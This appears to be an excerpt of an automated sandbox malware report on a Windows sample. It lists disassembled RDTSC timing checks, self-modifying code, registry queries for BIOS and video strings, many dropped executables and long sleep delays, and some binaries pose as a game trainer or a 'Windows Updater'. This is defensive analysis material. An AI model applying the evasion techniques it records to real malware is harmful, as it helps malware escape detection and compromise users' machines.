Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF02F9 second address: 0000000004DF0300 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF0300 second address: 0000000004DF03E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007FEC52F85E52h 0x0000000d jmp 00007FEBE0E5FDC3h 0x00000012 test byte ptr [76FA6968h], 00000002h 0x00000019 pushad 0x0000001a jmp 00007FEBE0E5FDC4h 0x0000001f popad 0x00000020 jne 00007FEC52F85E2Fh 0x00000026 jmp 00007FEBE0E5FDC7h 0x0000002b mov edx, dword ptr [ebp+0Ch] 0x0000002e jmp 00007FEBE0E5FDC6h 0x00000033 xchg eax, ebx 0x00000034 pushad 0x00000035 call 00007FEBE0E5FDBEh 0x0000003a mov ah, A3h 0x0000003c pop edi 0x0000003d mov ax, 7E33h 0x00000041 popad 0x00000042 push eax 0x00000043 jmp 00007FEBE0E5FDC9h 0x00000048 xchg eax, ebx 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007FEBE0E5FDBCh 0x00000050 add ch, 00000068h 0x00000053 jmp 00007FEBE0E5FDBBh 0x00000058 popfd 0x00000059 call 00007FEBE0E5FDC8h 0x0000005e mov ah, 70h 0x00000060 pop edx 0x00000061 popad 0x00000062 xchg eax, ebx 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF03E6 second address: 0000000004DF03EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF03EC second address: 0000000004DF043E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEBE0E5FDBCh 0x00000009 sbb ecx, 406C0A28h 0x0000000f jmp 00007FEBE0E5FDBBh 0x00000014 popfd 0x00000015 mov dx, cx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FEBE0E5FDBEh 0x00000025 sbb cx, BC88h 0x0000002a jmp 00007FEBE0E5FDBBh 0x0000002f popfd 0x00000030 mov eax, 238DBCFFh 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF043E second address: 0000000004DF0443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF0443 second address: 0000000004DF0465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0E5FDC1h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov eax, edx 0x00000012 mov ax, dx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF0465 second address: 0000000004DF046B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF046B second address: 0000000004DF046F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF046F second address: 0000000004DF0480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+14h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF0480 second address: 0000000004DF0486 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF0486 second address: 0000000004DF048B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF04D5 second address: 0000000004DF0505 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 jmp 00007FEBE0E5FDBCh 0x0000000e mov esp, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FEBE0E5FDC7h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E200C6 second address: 0000000004E200EA instructions: 0x00000000 rdtsc 0x00000002 mov esi, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEBE0B1C468h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E200EA second address: 0000000004E200F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E200F0 second address: 0000000004E20144 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C45Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FEBE0B1C45Bh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 jmp 00007FEBE0B1C464h 0x00000016 mov ebx, eax 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b jmp 00007FEBE0B1C45Ch 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FEBE0B1C45Ah 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20144 second address: 0000000004E20153 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E10B56 second address: 0000000004E10B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E10B5A second address: 0000000004E10B5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E10B5E second address: 0000000004E10B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E10B64 second address: 0000000004E10B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E10B6A second address: 0000000004E10B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E10B6E second address: 0000000004E10C11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FEBE0E5FDBCh 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 pushad 0x00000015 jmp 00007FEBE0E5FDC7h 0x0000001a popad 0x0000001b call 00007FEBE0E5FDBFh 0x00000020 jmp 00007FEBE0E5FDC8h 0x00000025 pop esi 0x00000026 popad 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b pushad 0x0000002c movzx esi, di 0x0000002f pushad 0x00000030 mov bh, CBh 0x00000032 mov ebx, ecx 0x00000034 popad 0x00000035 popad 0x00000036 pop eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007FEBE0E5FDC9h 0x00000040 sub cx, F206h 0x00000045 jmp 00007FEBE0E5FDC1h 0x0000004a popfd 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E10C11 second address: 0000000004E10C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E10C16 second address: 0000000004E10C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E10C1C second address: 0000000004E10C75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FEC5162F824h 0x0000000d push 759227D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [759B0140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 jmp 00007FEBE0B1C465h 0x00000057 sub ecx, ecx 0x00000059 jmp 00007FEBE0B1C467h 0x0000005e mov dword ptr [ebp-04h], ecx 0x00000061 pushad 0x00000062 call 00007FEBE0B1C464h 0x00000067 mov di, si 0x0000006a pop esi 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Special instruction interceptor: First address: 0000000000BCAC76 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Special instruction interceptor: First address: 0000000000BCABC9 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Window / User API: threadDelayed 1316			Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe	Window / User API: threadDelayed 8295			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIFC5E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI5407.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI9758.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA92A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB9A2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF464.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF9CB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-4TFDP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1938229521.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIE7ED.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\river-city-rival-showdown-trainer-15-v1-8-.exe\is-PFMO7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA969.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi4877.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF423.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\bcbe912d67afa2439ce32b324e7130e1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF484.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA4AC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIFC1F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIE73E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIFD2F.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\b9f3dab10526734c996e5577124d9fe9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI5543.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIBDFE.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\86f0e59c0cab3c4a8a87bee6d0fa0beb.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-8305D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIFD0F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI9788.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\f30fa2050fab9a4e9730e495e7217769.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIACFB.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi982D.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi2C43.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIDAA3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIFCBF.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shiADAA.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v114\v114.exe	Dropped PE file which has not been started: C:\Windows\Temp\shiCD57.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIFC9F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI5523.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF444.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA8CA.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: 413df9.rbf (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-GNVBO.tmp\ZmWSzgevgt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-CLIDK.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA8FA.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-SMLRC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI4618.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a3.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\promo[1].exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF433.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIE8AD.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi478C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA2B5.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI94A7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIBCA2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIE633.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIDAD2.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi80CC.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIAD6A.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIE81E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-SGBP1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIACCB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-K1U5B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF2F3.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi97AF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI4686.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF244.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIDC0E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\VxCXHgOKWFitaVL Corporation\is-R280H.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi8169.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: 413dee.rbf (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA9BA.tmp	Jump to dropped file
Source: C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe	Dropped PE file which has not been started: C:\Windows\Temp\shi7E1E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIDBDE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA81C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF293.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF3E2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI528F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI94C7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIFC7F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIDB50.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIBCD2.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIE603.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB914.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA362.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF9FB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PVR3Q.tmp\a0.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J1954.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA999.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\9c66f20de619a94580bb93030dc1aea6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: 413df4.rbf (copy)	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF8FF.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi2D6D.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Temp\shiAE96.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIE80D.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a495e6fb1839749b6d15c60fe56a705.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIAD1B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIFDAD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIFCDF.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\0a01aa728a4dab42a1a96bd575273048.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF402.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIE88C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi27C0.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\expand.exe	Dropped PE file which has not been started: C:\ProgramData\a1be65b801d44a9f9a1676f8e66ad8d1$dpx$.tmp\7521326bf1c7c344a7ca0eb2f78dd396.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-K33CA.tmp\a1.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_21-55324

Source: C:\Users\user\AppData\Local\Temp\is-1UG24.tmp\setup.tmp	API coverage: 10.0 %
Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	API coverage: 6.2 %
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	API coverage: 6.4 %

Source: C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	Code function: 30_2_0058E370		30_2_0058E370
Source: C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe	Code function: 32_2_0024E370		32_2_0024E370

Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe TID: 4128	Thread sleep time: -329000s >= -30000s	Jump to behavior
Source: C:\ProgramData\regid.1993-06.com.microsoft\wmiprvse.exe TID: 4128	Thread sleep time: -2073750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe TID: 3140	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe TID: 4140	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe TID: 3656	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe TID: 6996	Thread sleep time: -42021s >= -30000s
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 6292	Thread sleep count: 34 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 2364	Thread sleep count: 267 > 30
Source: C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe TID: 7880	Thread sleep count: 32 > 30
